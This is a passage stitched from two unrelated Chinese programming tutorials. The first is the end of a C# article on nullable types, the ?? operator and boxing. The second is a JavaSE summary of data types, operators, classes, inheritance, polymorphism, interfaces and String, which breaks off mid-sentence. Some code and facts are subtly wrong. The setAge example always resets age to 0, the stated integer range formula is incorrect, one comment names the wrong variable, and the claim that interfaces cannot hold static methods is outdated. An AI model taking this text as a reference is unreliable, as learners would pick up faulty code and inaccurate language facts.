int x = nullable ?? 12; // 此时nullhasvalue不能null,所以y的值为nullhasvalue.Value,即输出1
int y = nullhasvalue ?? 123; Console.WriteLine("可空类型没有值的情况:{0}",x); Console.WriteLine("可空类型有值的情况:{0}", y); // 同时??运算符也可以用于引用类型, 下面是引用类型的例子
Console.WriteLine(); string stringnotnull = "123"; string stringisnull = null; // 下面的代码等价于: // (stringnotnull ==null)? "456" :stringnotnull // 同时下面代码也等价于: // if(stringnotnull==null) // { // return "456"; // } // else // { // return stringnotnull; // } // 从上面的等价代码可以看出,有了??运算符之后可以省略大量的if—else语句,这样代码少了, 自然可读性就高了
string result = stringnotnull ?? "456"; string result2 = stringisnull ?? "12"; Console.WriteLine("引用类型不为null的情况:{0}", result); Console.WriteLine("引用类型为null的情况:{0}", result2); }
下面是运行结果截图:
四、可空类型的装箱和拆箱
值类型存在装箱和拆箱的过程,可空类型也属于值类型,从而也有装箱和拆箱的过程的, 这里先介绍下装箱和拆箱的概念的, 装箱指的的从值类型到引用类型的过程,拆箱当然也就是装箱的反过程,即从引用类型到值类型的过程(这里进一步解释下我理解的装箱和拆箱,首先.Net中值类型是分配在堆栈上的,然而引用类型分配在托管堆上,装箱过程就是把值类型的值从推栈上拷贝到托管堆上,然后推栈上存储的是对托管堆上拷贝值的引用,然而拆箱就是把托管堆上的值拷贝到堆栈上.简单一句话概况,装箱和拆箱就是一个值的拷贝的一个过程,就想搬家一样,把东西从一个地方搬到另一个地方,对于深入的理解,大家可以参考下园中的博文.), 括号中是我理解的装箱和拆箱的过程,下面就具体介绍下可空类型的装箱和拆箱的:
当把一个可空类型赋给一个引用类型变量时,此时CLR 会对可空类型(Nullable<T>)对象进行装箱处理,首先CLR会检测可空类型是否为null,如果为null,CLR则不进行实际的装箱操作(因为null可以直接赋给一个引用类型变量),如果不为null,CLR会从可空类型对象中获取值,并对该值进行装箱(这个过程就是值类型的装箱过程了。),当把一个已装箱的值类型赋给一个可空类型变量时,此时CLR会对已装箱的值类型进行拆箱处理,如果已装箱值类型的引用为null,此时CLR会把可空类型设为null(如果觉得啰嗦,大家可以直接看下面的代码,代码中也会有详细的注释)。下面用一个示例来演示下可空类型的装箱和拆箱的使用,这样可以帮助大家更好的理解前面介绍的概念:
static void Main(string[] args) { //Console.WriteLine("??运算符的使用如下:"); //NullcoalescingOperator();
Console.WriteLine("可空类型的装箱和拆箱的使用如下:"); BoxedandUnboxed(); Console.Read(); } // 可空类型装箱和拆箱的演示
private static void BoxedandUnboxed() { // 定义一个可空类型对象nullable
Nullable<int> nullable = 5; int? nullablewithoutvalue = null; // 获得可空对象的类型,此时返回的是System.Int32,而不是System.Nullable<System.Int32>,这点大家要特别注意下的
Console.WriteLine("获取不为null的可空类型的类型为:{0}",nullable.GetType()); // 对于一个为null的类型调用方法时出现异常,所以一般对于引用类型的调用方法前,最好养成习惯先检测下它是否为null //Console.WriteLine("获取为null的可空类型的类型为:{0}", nullablewithoutvalue.GetType()); // 将可空类型对象赋给引用类型obj,此时会发生装箱操作,大家可以通过IL中的boxed 来证明
object obj = nullable; // 获得装箱后引用类型的类型,此时输出的仍然是System.Int32,而不是System.Nullable<System.Int32>
Console.WriteLine("获得装箱后obj 的类型:{0}", obj.GetType()); // 拆箱成非可空变量
int value = (int)obj; Console.WriteLine("拆箱成非可空变量的情况为:{0}", value); // 拆箱成可空变量
nullable = (int?)obj; Console.WriteLine("拆箱成可空变量的情况为:{0}", nullable); // 装箱一个没有值的可空类型的对象
obj = nullablewithoutvalue; Console.WriteLine("对null的可空类型装箱后obj 是否为null:{0}", obj==null); // 拆箱成非可空变量,此时会抛出NullReferenceException异常,因为没有值的可空类型装箱后obj等于null,引用一个空地址 // 相当于拆箱后把null值赋给一个int 类型的变量,此时当然就会出现错误了 //value = (int)obj; //Console.WriteLine("一个没有值的可空类型装箱后,拆箱成非可空变量的情况为:{0}", value); // 拆箱成可空变量
nullable = (int?)obj; Console.WriteLine("一个没有值的可空类型装箱后,拆箱成可空变量是否为null:{0}", nullable == null); }
运行结果:
上面代码中都有注释的, 而且代码也比较简单, 这里就不解释了, 其实可空类型的装箱和拆箱操作大家可以就理解为非可空值类型的装箱和拆箱的过程,只是对于非可空类型因为包含null值,所以CLR会提前对它进行检查下它是否为空,为null就不不任何处理,如果不为null,就按照非可空值类型的装箱和拆箱的过程来装箱和拆箱。
五、小结
到这里本专题的介绍就完成了,本专题主要介绍了下可空类型以及可空类型相关的知识,希望这篇文章可以帮助大家对可空类型的认识可以更加全面,下一个专题将和大家介绍下匿名方法, 匿名方法也是Lambda表达式和Linq的一个铺垫,然而它是C#2中被提出来了的, 从而可以看出Lambda和Linq在C# 3.0中被添加其实是微软早在C# 2.0的时候就计划好了的,早就计划好了的(这也是我的推断,然而我觉得为什么它不直接在把Lambda和Linq都放在C# 2中提出来的, 却偏偏放在C# 3.0中提出,我理解原因有——1 觉得微软当时肯定是想一起提出的,但是后面发现这几个新的特性提出后会对编译器做比较大的改动,需要比较长的时间来实现,此时又怕用户等不及了,觉得C#很多东西都没有,所以微软就先把做好了的部分先发布出来,然而把Lambda和Linq放到C#3来提出。我推理觉得应该是这样的,所以C#的所有特性都是紧密相连的。)
注意:有网友提醒了我一个需要主要的点,所以放在这里补充下,如果细心的朋友可能会发现,当可空类型为null时,此时还是可以调用HasValue属性,即此时的返回值为false,可能就会有这样的疑问的,为什么对象为null了还可以调用属性,此时不会出现NullReferenceException异常吗?其实对于这个问题我之前也觉得奇怪的,后面通过查找也知道了原因了——首先,可空类型是值类型,当可空类型为null时,此时可空类型并不是null(引用类型中的null),对于可空类型null这个是一个有效的值类型的,所以它调用HasValue不会抛出异常的(值类型时不可能为null的,可空类型为null的,此时null与引用类型是不一样的,这点大家必须明确)。同时这个问题也使我加深了对可空类型的理解,这里分享出来可以让大家进一步理解可空类型,如果大家有什么意见和C#特性需要注意的地方欢迎大家给我留言。
本文转自LearningHard 51CTO博客,原文链接:http://blog.51cto.com/learninghard/1067849,如需转载请自行联系原作者
JavaSE总结
个人推荐: 前些天发现了一个蛮有意思的人工智能学习网站,8个字形容一下 "通俗易懂,风趣幽默",感觉非常有意思,忍不住分享一下给大家。点击跳转到教程。1.什么是JDK,JRE,JVM?JDK:是程序员使用java语言编写java程序所需的开发工具包(包括JRE,工具等),是提供给程序员使用的。JRE:是用户运行Java程序需要的运行环境(java虚拟机,java基础类库)。JVM:JVM虚拟机, 用来解释执行字节码文件(class文件:通过Javac翻译.java得到),java的跨平台就是通过JVM来实现的。2.JAVA编译过程?JAVA编译过程:Java编译程序(javac)将Java源程序(HelloWorld.java),翻译成Java字码文件(HelloWorld.class),JVM虚拟机对HelloWorld.class进行解释执行。下面通过CMD的方式执行一个HelloWorld的demo来体验一下这个过程。过程如下:用记事本创建一个HelloWorld.java的文件(--->另成为--->数据类型选为所有--->输入HelloWorld.java保存)进入dos界面(Windows+R输入cmd),cd进入到桌面(HelloWorld.java在哪里就进入到哪里),输入Javac HelloWorld.java此时对应的目录下就会生成一个HelloWorld.Class的文件输入java HelloWorld3.标识符(命名规范)用来定义变量,方法,类等要素命名时使用的字符串序列。规则:应以字母,下划线,$符号开头应以字母,下划线,$符号或数字组成对大小写敏感,长度无限制不能使用关键字非法标识名举例:Class(关键字),9aa(不能以数字开头),Hee LL(不能出现空格)4.关键字有特殊含义的、被保留的、不能随意使用的字符(小写)。5.数据类型(1)定义Java语言是强类型语言(JS中变量都是通过Var进行声明,没有明确指定数据类型,JS就是一种弱类型语言),对于每一种数据都定义了明确的具体数据类型,在内存中分配了不同大小的内存空间。在Java中数据类型可分为二类,基本数据类型和引用数据类型(这里主要讲解8种基本数据类型)。(2)8种基本数据类型整数(4种:byte,short,int(默认),long;字节数分别为:1B,2B,4B,8B)浮点数(float,double(默认);字节数分别为:4B,8B)字符(char;字节数为:2B)布尔(boollean;字节数分别为:1B)关于取值范围(除字符和布尔外):-2^(n-1)^~2^n^ -1 n:位数字符取值范围:0~2^n^ -1 布尔:true和false6. 常量,变量(访问修饰符)(1) 常量程序在执行过程中其值是不可以改变的量叫做常量语法:【访问权限】final 数据类型 常量名=初始值例子:public final int COUNT=0;注意事项在定义常量时就需要对该常量进行初始化。final 关键字不仅可以用来修饰基本数据类型的常量,还可以用来修饰对象的引用或者方法。为了与变量区别,常量取名一般都用大写字符。常量的初始化,还可以放在类构造器中进行初始化(该常量未被static修饰):二种初始化的方式只能使用其中的一种,不然不符合语法规则:引用类型的常量,不可变指的是地址不可变,但是对象里的值是可变的:测试类代码(引用类型的常量,不可变指的是地址不可变):测试类代码(但是对象里的值是可变的)运行效果:(2) 变量程序在执行过程中其值是可以改变的量叫做变量语法:【访问权限】 数据类型 变量名【=初始值,可以初始化,也可以不用进行初始化】;注意:局部变量必须进行初始化即赋值,才能使用(它没有默认值)全局变量可以不进行初始化,使用对应数据类型的默认值(未规定数据类型的时候,整型默认:int,浮点默认:double)。局部变量必须进行初始化:全局变量可以不进行初始化,使用对应数据类型的默认值:运行效果:(3)局部变量和全局变量局部和全局意思可理解为该变量可访问的范围,局部变量可访问为对应所在{}代码块的区域,而全局变量在整个Class的{}代码块下,意思就是在本类都可以进行访问(无需关注访问权限),并且全局变量可以被其他类(同包,非同包)进行访问,前提是访问权限足够(该全局变量足够开放)。public class demo{
int a;//全局变量
public void start(){
int c;//局部变量
}
public void start2(int c){ //c 局部变量
}
}(4)访问权限主要用于其他类(本包,非本包,非本包子类,非本包非子类)对目标类进行访问时根据权限来看该类是否可以进行访问。注意:default:表示不加任何访问修饰符(通常称为“默认访问权限“或者“包访问权限”)7. 数据类型转换(自动类型转换,强制类型转换)(1).自动类型转换(隐式转换)当数据类型不一样时,将会发生数据类型转换。特点:代码不需要进行特殊处理,自动完成。规则:数据范围从小到大。(右面100是未规定数据类型,即该数据类型默认为int,左边为long,右边int数据类型的数据放入long(小->大)发生了自动类型转换。)long num=100;右面2.5F规定了数据类型为float,(如果不加F表示数据类型为double),左面数据类型为double(小->大)发送了自动类型转换。double num2 = 2.5F;由于浮点数默认使用double,在使用float的时候需要在右侧加上f,不然会报错:备注:关于什么是小什么是大,其实指的就是该数据类型所占的字节数大小。(2).强制类型转换(显示转换)如果数据类型没有发生自动转换,也可以通过强制类型进行转换但是这样可能会导致数据丢失。特点:代码需要进行特殊的格式处理,不能自动完成。格式:范围小的类型 范围小的变量名= (范围小的类型)原本范围大的数据;(右面数据类型为long,左面数据类型为int(大->不发生自动类型转换),(int)表示该long数据类型强制转换为int。) int num = (int) 100L ;备注:强制类型转换一般不推荐使用,因为有可能发生精度损失、数据溢出。byte/short/char这三种类型都可以发生数学运算,例如加法“+”byte/short/char这三种类型在运算的时候,都会被首先提升成为int类型,然后再计算。这里并不是四舍五入,所有的小数位都会被舍弃掉:运行效果: int和浮点类型之间可以进行强制类型转换运行效果:char可以通过强制类型转换为int,对应的值为字符的ASCLL的值(对于byte/short/char三种类型来说,如果右侧赋值的数值没有超过范围,那么java编译器将会自动隐含地补上一个(byte)(short)(char)。)如果没有超过左侧的范围,编译器自动隐含地补上(byte)进行强转。 byte num1 = /*(byte)*/ 30; //右侧没有超过左侧的范围
System.out.println(num1); // 30如果右侧超过了左侧范围,那么编译器报错。上面内容来源于:Java 基本数据类型转换 自动类型转换 强制类型转换8.运算符运算符 用于连接 表达式 的 操作数,并对操作数执行运算。运算符速查表:运算符优先级:(1) 关于++和- -count++:表示先执行再运算++count:表示先运算再执行备注:“--”同理 //关于count++
int count=0;
System.out.println(count++);//0
System.out.println(count);//1
int count1=0;
count1++;
System.out.println(count1);//1
//关于++count
int count2=0;
System.out.println(++count2);//1
int count3=0;
++count3;
System.out.println(count3);//1注意:++(i++)这种写法不存在!(2)关于&&,||与&,I(&&,||)表示如果前面一项表达式已经满足要求了后面一项的表达式就无需再进行相应的判断了。如下:count=100已经满足表达式1(count>=100)对于表达式2(count<500)就不用进行判断,但是条件为“|”时,表达式1和表达式2都要进行运算(这就是短路与与短路或的作用)。 int count=100;
if (count>=100||count<500) {
System.out.println("执行");
}(3)关于三目运算三目运算表达式进行判断之后,表达式为true返回 “:” 左面的值,如果为false返回 “:” 右面的值。 int count=100;
boolean result=(count==100?true:false);
System.out.println(result);//true9.表达式,顺序,选择(if,if else else if/switch),循环(while(){}; do{}while();for for增强)(1)表达式表达式运算后的结果要么为真要么为假语法:变量/常量 比较运算 变量/常量 【逻辑运算】 变量/常量 比较运算 变量/常量 (下面的表达式a>b,a<B可以分别看作一个小的表达式,整体可以看作是一个大的表达式)。例子:a>b&&a<B(2)选择if(表达式){
//执行符合表达式要求的代码
}if(表达式1){
//执行符合表达式1的代码
}else if(表达式2){
//执行符合表达式2的代码
}if(表达式1){
//执行符合表达式1的代码
}else if(表达式2){
//执行符合表达式2的代码
}else{
//执行不满足所有不符合表达式1和表达式2的代码
}注意: switch中只有当遇到break的时候才退出(意思就是当switch满足情况1的情况下,执行情况1的代码,但是情况1结尾处如果没有break就继续执行情况2的代码直到遇到break才退出)。switch(变量/常量){
case 变量/常量(同一数据类型):
//执行满足该情况的代码
break;
case 变量/常量(同一数据类型):
//执行满足该情况的代码
break;
default:
//执行不满足所有上面情况的代码
break;
}(2)循环break:结束本循环continue:结束本次循环i的变化:i=0,1,2,3.....19 当i=20的时候执行i<20不满足本次循环结束for(int i=0;i<20;i++){
//执行20次 i的变化:i=0,1,2,3.....19 当i=20的时候执行i<20不满足本次循环结束
}for(集合泛型数据类型:集合)增强 ArrayList<String> arrayList=new ArrayList<>();
arrayList.add("1");
arrayList.add("2");
arrayList.add("3");
arrayList.add("4");
for(String aString:arrayList){
System.out.println(aString);//允许情况:1 2 3 4
}while(表达式)直到表达式为false才停止循环while (表达式) {
//直到表达式为false停止循环
}do{}while(表达式);先执行一次,然后当表达式为false时停止循环do{
//先执行一次,然后当表达式为false时停止循环
}while(表达式);
10.数组存放一组相同数据类型的数据。(1)声明数组变量首先必须声明数组变量,才能在程序中使用数组。下面是声明数组变量的语法:数据类型[] 数组名; // 首选的方法数据类型 数组名[]; // 效果相同,但不是首选方法实例:double[] myList; // 首选的方法double myList[]; // 效果相同,但不是首选方法(2)创建数组下面的10表示数组的长度myList= new double[10];另外一种创建数组的方式:数据类型[] 数组名= {value0, value1, ..., valuek};(3)数组的访问数组的元素是通过索引访问的。数组索引从 0 开始,所以索引值从 0 到 arrayRefVar.length-1。(表示访问数组myList索引为0的对应数据。) myList[0];(myList.length:表示获取myList数组的长度)myList.length;实例:public class TestArray {
public static void main(String[] args) {
// 数组大小
int size = 10;
// 定义数组
double[] myList = new double[size];
myList[0] = 5.6;
myList[1] = 4.5;
myList[2] = 3.3;
myList[3] = 13.2;
myList[4] = 4.0;
myList[5] = 34.33;
myList[6] = 34.0;
myList[7] = 45.45;
myList[8] = 99.993;
myList[9] = 11123;
// 计算所有元素的总和
double total = 0;
for (int i = 0; i < size; i++) {
total += myList[i];
}
System.out.println("总和为: " + total);
}
}11.OOP编程(1) 方法避免代码臃肿,将某一个操作的代码移到定义的方法中,当用户需要执行该操作时,只需要调用该方法即可,程序就会进入到方法中去执行该操作的代码。方法语法如下:[访问权限] [static] [..] 返回值类型 方法名([形参1][形参2]..[形参n]){
//当方法被使用时执行代码块的代码
return 返回值类型;
}例子:运行效果:关于方法的返回值类型为void:表示没有返回值,不用写 return 返回值类型 数据类型就是基本数据类型或者引用数据类型,但是数据类型不一致会报错。返回数据类型为void就不用写 return 返回值类型:返回数据类型(int)和返回的数据类型(String)不一致会报错:(2).类类是一个模板,它描述一类对象的行为和状态,在Java中Object类是所有类的基类(父类)。(3).对象对象是类的一个实例(对象不是找个女朋友),有状态和行为。例如,一条狗是一个对象,它的状态有:颜色、名字、品种;行为有:摇尾巴、叫、吃等。下图中男孩(boy)、女孩(girl)为类(class),而具体的每个人为该类的对象(object):关于类(模板的基本语法)对于学生我们可以看成是一个类Student,对于学生这个类(模板),我们可以通过属性和方法进行简单的描述,属性描述学生的信息,这个学生叫什么名字,年龄,家庭地址,班级号等,这个类(模板)的属性越多,对应的对象(模板的实例)的信息就越详细,方法描述学生的行为,比如,吃饭,睡觉,喝水,跑步,对应的类的方法越多,相应的对象的就越生动形象。类的语法结构如下:public class 类名{
//属性
//方法
}实例如下: public class Student {
//属性
public String name;
public int age;
public int classNum;
public String address;
//方法(行为)
public void eat() {
System.out.println("吃饭");
}
public void stuInfo() {
System.out.println(toString());
}
public String toString() {
return "Student [name=" + name + ", age=" + age + ", classNum="
+ classNum + ", address=" + address + "]";
}
}关于什么是匿名类当我们要去使用某个抽象类/接口的时候我需要做的就是写一个子类来继承该抽象类/实现该接口,然后通过在子类中重写对应的方法,在外部通过实例化该子类,再调用相应的方法,从而实现了对该抽象类/接口的使用,匿名内部类就是不用去写这个抽象类/接口的子类,直接创建该子类,并重写相应的方法,从而实现了对该抽象类/接口的使用。语法结构如下:new 父类名或者接口名(){
//相应的方法重写
}该部分相关学习链接:Java中内部类详解—匿名内部类接口和抽象类有什么区别?(备注看第2,3回复)对象如何创建实例:对象创建:类名 对象名=new 类名();//无参构造创建对象对象的创建:类名 对象名=new 类名(参数,参赛...);//有参构造创建对象(类名(参数,参赛...)对应类的构造方法)方法调用:对象.方法名()对象属性的访问/赋值:对象.属性名; /对象.属性名=属性值;(这种方式需要注意属性的访问权限,后面会用get,set进行访问和设置)public class Test {
public static void main(String[] args) {
Student admin=new Student();
admin.name="张三";
admin.age=10;
admin.classNum=2;
admin.address="奈何桥";
//学生信息
admin.stuInfo();
//执行eat()方法
admin.eat();
}
}运行效果:关于对象的比较(==和equals()):对于==对于基本数据类型,“==”就只看两个数据的值是否相等。比如两个int 型的变量,就只看两个变量的值是否相等。对于引用数据类型,“==”就只看两个数据的堆内存地址。比如两个new的User对象,new一次就新分配一个内存空间,因此两个new的User对象堆内存地址值就是不一样的。对于equals()(从equals源码可知,equals()本质还是在做“==”)代码如下: int a=10,b=10;
System.out.println(a==b);//true
System.out.println(Integer.valueOf(a).equals(b));//true执行效果:但是equals()可以进行重写:执行结果:从上面我们可以看到System.out.println(aString2== bString2);的输出结果为false,而System.out.println(aString== bString);输出的结果为true,因为String aString="测试";这种方式其实就是在常量池中对这个值分配一个地址给它,当String bString="测试"的时候,常量池中已经有了这个"测试"值,就把对应的地址分配给它,所以这样aString和bString的地址其实是一样的,所以返回true,但当创建对象的时候就不是这样了,这种情况是直接在堆内存中开辟了一块新的空间去储存,但是前面说的equals()本质就是==,为什么还是返回false这是因为String这个类重写了Object父类的equals()方法。上面的内容来源于:java面试题之equals和==的区别关于重写和重载:重写:重新写一个将原来方法进行覆盖了,调用的时候调用自己重写的方法重载:多写一个或多个方法名相同的方法但是形参一定不同(形参的数据类型,形参的长度),返回数据类型可以不同,这样就可以同一个方法有多种加载方式。 //重写Object下的toString()
public String toString() {
return "Student [name=" + name + ", age=" + age + ", classNum="
+ classNum + ", address=" + address + "]";
}
//【1】重载toString()方法
public String toString(int a) {
return "Student [name=" + name + ", age=" + age + ", classNum="
+ classNum + ", address=" + address + "]";
}
//【3】形参的长度不同
public String toString(int a,int b) {
return "Student [name=" + name + ", age=" + age + ", classNum="
+ classNum + ", address=" + address + "]";
}
//【4】形参的数据类型不同
public String toString(String a) {
return "Student [name=" + name + ", age=" + age + ", classNum="
+ classNum + ", address=" + address + "]";
}
//【5】返回数据可以不同
public void toString(String a,int c) {
System.out.println( "Student [name=" + name + ", age=" + age + ", classNum="
+ classNum + ", address=" + address + "]");
}(4)三大特性(封装,继承,多态)封装:封装(Encapsulation)是面向对象方法的重要原则,就是把对象的属性和操作(或服务)结合为一个独立的整体,并尽可能隐藏对象的内部实现细节。属性私有化,公有访问,通过get(),set()接口进行访问和初始化有参构造方法初始化对象--->多个参数一起进行初始化(减少访问次数),可创建多个不同形参的构造方法提供多种初始化方案封装的优点:提高代码的安全性。提高代码的复用性。“高内聚”:封装细节,便于修改内部代码,提高可维护性。“低耦合”:简化外部调用,便于调用者使用,便于扩展和协作例子(对上面的例子进行封装操作):Student部分的代码如下:
public class Student {
//属性
private String name;
private int age;
private int classNum;
private String address;
public Student() {
// TODO Auto-generated constructor stub
}
public Student(String name, int age, int classNum, String address) {
this.name = name;
this.age = age;
this.classNum = classNum;
this.address = address;
}
//方法(行为)
public void eat() {
System.out.println("吃饭");
}
public void stuInfo() {
System.out.println(toString());
}
public String toString() {
return "Student [name=" + name + ", age=" + age + ", classNum="
+ classNum + ", address=" + address + "]";
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
if (age>0&&age<300) {
this.age = age;
}
this.age=0;
}
public int getClassNum() {
return classNum;
}
public void setClassNum(int classNum) {
this.classNum = classNum;
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
}Test部分代码如下:
public class Test {
public static void main(String[] args) {
//通过无参构造方法初始化对象
Student admin=new Student();
admin.setName("张三");
admin.setAge(10);
admin.setClassNum(2);
admin.setAddress("奈何桥");
//通过有参构造方法初始化对象
Student admin2=new Student("李四",12,2,"孟婆汤");
//学生信息
admin.stuInfo();
//执行eat()方法
admin.eat();
}
}执行效果:小白白必看:关于如何自动生成属性的get()set()方法:勾选要具体要生成属性的get()set()方法,选择OK即可生成关于如何自动生成有参构造方法:选择要生成的有参构造函数的参数:点击ok自动生成,如下:注意:当一个类中有了有参构造函数之后,java机制将不再自动生成无参构造方法。在属性对应的set方法中,可以通过相应的if语句来保证数据的合理性( 不推荐使用 ),并且还可以更改set和get访问权限进行一些特殊的操作,就是我们说所的只读属性,只写属性。继承:继承(英语:inheritance)是面向对象软件技术中的一个概念。它使得复用以前的代码非常容易,能够大大缩短开发周期,降低开发费用--(合理使用继承就能大大减少重复代码,提高代码复用性)。Java语言是非常典型的面向对象的语言,在Java语言中继承就是子类继承父类的属性和方法,使得子类对象(实例)具有父类的属性和方法,或子类从父类继承方法,使得子类具有父类相同的方法。父类有时也叫基类、超类;子类有时也被称为派生类。在没有学习继承之前,我们看见一个对象,就编写一个对象的模板,学生模板,老师模板,警察模板,其实我们可以发现上面这些模板其实有很多相同的属性,方法,这样就让我们写了很多重复代码,为了解决这个问题推出了继承的概论,就上面问题,其实我们可以先写一个人类模板,然后其他模板继承人类模板,人类模板的属性方法就可以继承给它的子类,这样这些相同属性,公用的方法就无需编写。例子动物的例子(如上图所示):创建Animal类class Animal
{
public int id;
public String name;
public int age;
public int weight;
public Animal(int id, String name, int age, int weight) {
this.id = id;
this.name = name;
this.age = age;
this.weight = weight;
}
//这里省略get set方法
public void sayHello()
{
System.out.println("hello");
}
public void eat()
{
System.out.println("I'm eating");
}
public void sing()
{
System.out.println("sing");
}
}
子类继承父类的语法:class 子类 extends 父类{//继承animal
}注意: 在Java中,类的继承是单一继承,也就是说一个子类只能拥有一个父类,所以extends只能继承一个类。而Dog,Cat,Chicken类可以这样设计:class Dog extends Animal//继承animal
{
public Dog(int id, String name, int age, int weight) {
super(id, name, age, weight);//调用父类构造方法
}
}
class Cat extends Animal{
public Cat(int id, String name, int age, int weight) {
super(id, name, age, weight);//调用父类构造方法
}
}
class Chicken extends Animal{
public Chicken(int id, String name, int age, int weight) {
super(id, name, age, weight);//调用父类构造方法
}
//鸡下蛋
public void layEggs()
{
System.out.println("我是老母鸡下蛋啦,咯哒咯!咯哒咯!");
}
}上面内容原文地址:收藏!!史上最姨母级Java继承万字图文详解多态(同一个对象在不同的场景下有不同的形态):一个类具有多个形态,根据对象的不同执行的动作也会不同(方法),比如父类Animal,有二个子类Dog,Cat,二个子类都重写了Animal的eat()方法,当父类指向Dog对象的时候Animal animal= new Dog();,执行的就是Dog的eat()【狗吃骨头】,当父类指向Cat对象的时候Animal animal= new Cat();执行的就是Cat的eat()【猫吃鱼】。条件:在子父类中(继承关系),子类重写父类相关的方法父类引用指向子类对象:Animal animal= new Dog();代码:package com.dudu;
public class Animal {
private String name;
private int age;
public Animal(String name, int age) {
this.name = name;
this.age = age;
}
public void eat(){
System.out.println("吃饭");
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public static void main(String[] args) {
Animal animal = new Dog();
Animal animal2 = new Cat();
animal.eat();
animal2.eat();
}
}
class Dog extends Animal{
public Dog() {
super("小狗",3);
}
public Dog(String name, int age) {
super(name, age);
}
public void eat(){
System.out.println(super.getName()+"吃骨头");
}
}
class Cat extends Animal{
public Cat() {
super("小猫",4);
}
public Cat(String name, int age) {
super(name, age);
}
public void eat(){
System.out.println(super.getName()+"吃鱼");
}
}
运行效果:该部分相关学习链接:菜鸟教程多态性JAVA的多态用几句话能直观的解释一下吗?java方法的多态性理解关于抽象,接口抽象:在Java面向对象当中,所有的对象都是用类进行描绘的,但是并不是所有的类都是用来描绘对象的,如果一个类没有包含足够多的信息来描述一个具体的对象,这样的类就是抽象类。抽象类的定义方式abstract class 类名 {
}抽象类不能创建对象,如果创建,编译无法通过而报错。只能创建其非抽象子类的对象。抽象类中,可以有构造方法,是供子类创建对象时,初始化父类成员使用的。抽象类中,可以有成员变量(全局变量)。抽象类中,不一定包含抽象方法,但是有抽象方法的类必定是抽象类。抽象类的子类,必须重写抽象父类中所有的抽象方法,否则,编译报错。除非该子类也是抽象类。抽象类与普通类的区别抽象类使用abstract修饰;普通类没有abstract修饰抽象类不能实例化;普通类可以实例化抽象类可以包含抽象方法,也可以包含非抽象方法;普通类不能有抽象方法关于抽象类是否可实例化问题:关于抽象类是否可以实例化问题抽象方法的定义方式抽象方法不能用private、final、static、native修饰public abstract 返回值类型 方法名(参数);抽象类的特征:抽象类不能实例化对象,所以抽象类必须被继承才能使用,其他的功能和普通类相同。一个类只能继承一个抽象类。抽象类的修饰符不能是private。抽象类中不一定包含抽象方法,但是有抽象方法的类必定是抽象类。构造方法,类方法(静态方法,被static修饰的方法)不能声明为抽象方法。抽象类的子类必须给出抽象类中的抽象方法的具体实现,除非该子类也是抽象类。接口(对方法进行抽象):在软件工程中,接口泛指供别人调用的方法。在Java中接口是一个抽象类型,比抽象类更加抽象,是抽象方法的集合。一个类通过继承接口的方式,从而继承接口的抽象方法。从定义上看,接口只是一个集合,并不是类。类描述了属性和方法,而接口只包含方法(未实现的方法)和常量。接口的语法:public interface 接口名称 {
//声明常量
//抽象方法
}接口的变量会被隐式的指定为public static final 变量(并且只能是public static final 变量,用private修饰会编译报错)(下面的错误是因为a是一个常量,常量必须进行初始化操作!)接口的方法会隐式的指定为public abstract方法如何使用接口:语法:【public】 class 要实现接口的类 implements 接口1,接口2{
//重新接口中的所有方法
}注意:如果一个普通类要同时继承一个类和实现接口,应该先继承后实现(在Java中只能继承一个类,但是可以实现多个接口),否则就会语法报错。例如:public class Aextends B implementsC,D E…实现接口必须重写接口里面的所有方法(接口里面的方法都是抽象方法)(抽象类和接口被继承/实现,必须重写抽象类/接口中的抽象方法!)接口的注意事项:接口中所有的方法不能有具体的实现,也就是说,接口中的方法必须都是抽象方法。从这里可以隐约看出接口和抽象类的区别,接口是一种极度抽象的类型,它比抽象类更加“抽象”,并且一般情况下不在接口中定义变量。在抽象类中,可以包含普通方法和抽象方法,但是在接口中,所有的方法必须是抽象的,不能有方法体,比抽象类更加的抽象。接口规定一个类必须做什么而不规定他如何去做。关于什么是方法体:接口的特征:接口中只定义抽象方法,这些方法默认都是public abstract的,在方法声明时可以省略这些修饰符。在接口中定义实例变量,非抽象实例方法以及静态方法都是不允许的,接口中没有构造方法,也不能被实例化。(接口中只有常量和抽象方法)。一个接口不能实现另一个接口,但是可以多继承其他接口。接口必须通过类来实现它的抽象方法。如果一个类不能实现完接口中的抽象方法,那么这个类我们应该设计为抽象类。不允许创建接口的实例(接口不能被实例化),但是允许定义接口类型的引用变量引用实现该接口的类的实例(多态)(一个接口不能实现另一个接口,但是可以多继承其他接口)(不允许创建接口的实例(接口不能被实例化),但是允许定义接口类型的引用变量引用实现该接口的类的实例(多态))
//定义接口InterA
interface InterA
{
void fun();
}
//实现接口InterA的类B
class B implements InterA
{
public void fun()
{
System.out.println(“This is B”);
}
}
//实现接口InterA的类C
class C implements InterA
{
public void fun()
{
System.out.println(“This is C”);
}
}
class Test
{
public static void main(String[] args)
{
InterA a;
a= new B();
a.fun();
a = new C();
a.fun();
}
}输出结果为:This is BThis is C通过上面抽象类和接口的学习再看上面讲到的匿名对象应该就能够很清晰的理解了。部分内容来源于:知乎:Java抽象类和接口(详解)通过接口类型变量引用实现接口的类的对象来实现(4) this关键字,super关键字,static关键字,final关键字this关键字指向当前对象super关键字指向父类对象static关键字指向类,可以将数据共享给对象使用,可以通过类名.静态方法/属性进行调用final关键字表示不可修改,修饰属性的时候为不可修改的属性就是常量,当修饰类的时候,该类不可继承,当修饰方法的时候该方法不可重写。子类对象继承父类的属性和方法如果父类有有参构造函数,可以通过下面的操作对对象进行初始化操作:相关链接学习:浅析Java中的final关键字 java基础回顾---static关键字(5) 类的常用方法(String;StringBuffer,Calendar)String类:(1)字符串的创建语法1: String =字符串的值; //存储在公共池中语法2: String 变量名=new String();//存储在堆中(2)字符串进行拼接:通过+语法1: 字符串+字符串语法2: 字符串.concat(字符串)运行效果:(3)字符串不可变进行拼接操作的字符串会生成新的字符串不会更改以前的值,字符串本质是一个char[]的常量代码实例:运行效果:(4)字符串常用方法上面图片来源于:Java中的String类的常用方法列表StringBuffer和StringBuilder类:当对字符串进行修改的时候,需要使用 StringBuffer 和 StringBuilder 类。和 String 类不同的是,StringBuffer 和 StringBuilder 类的对象能够被多次的修改,并且不产生新的未使用对象。String、StringBuffer与StringBuilder之间区别StringString是一个字符数组 常量 StringBufferStringBuffer保存的是一个字符数组 变量 StringBuffer扩容机制StringBuffer线程安全StringBuilderStringBuilder存放的内容为字符数组 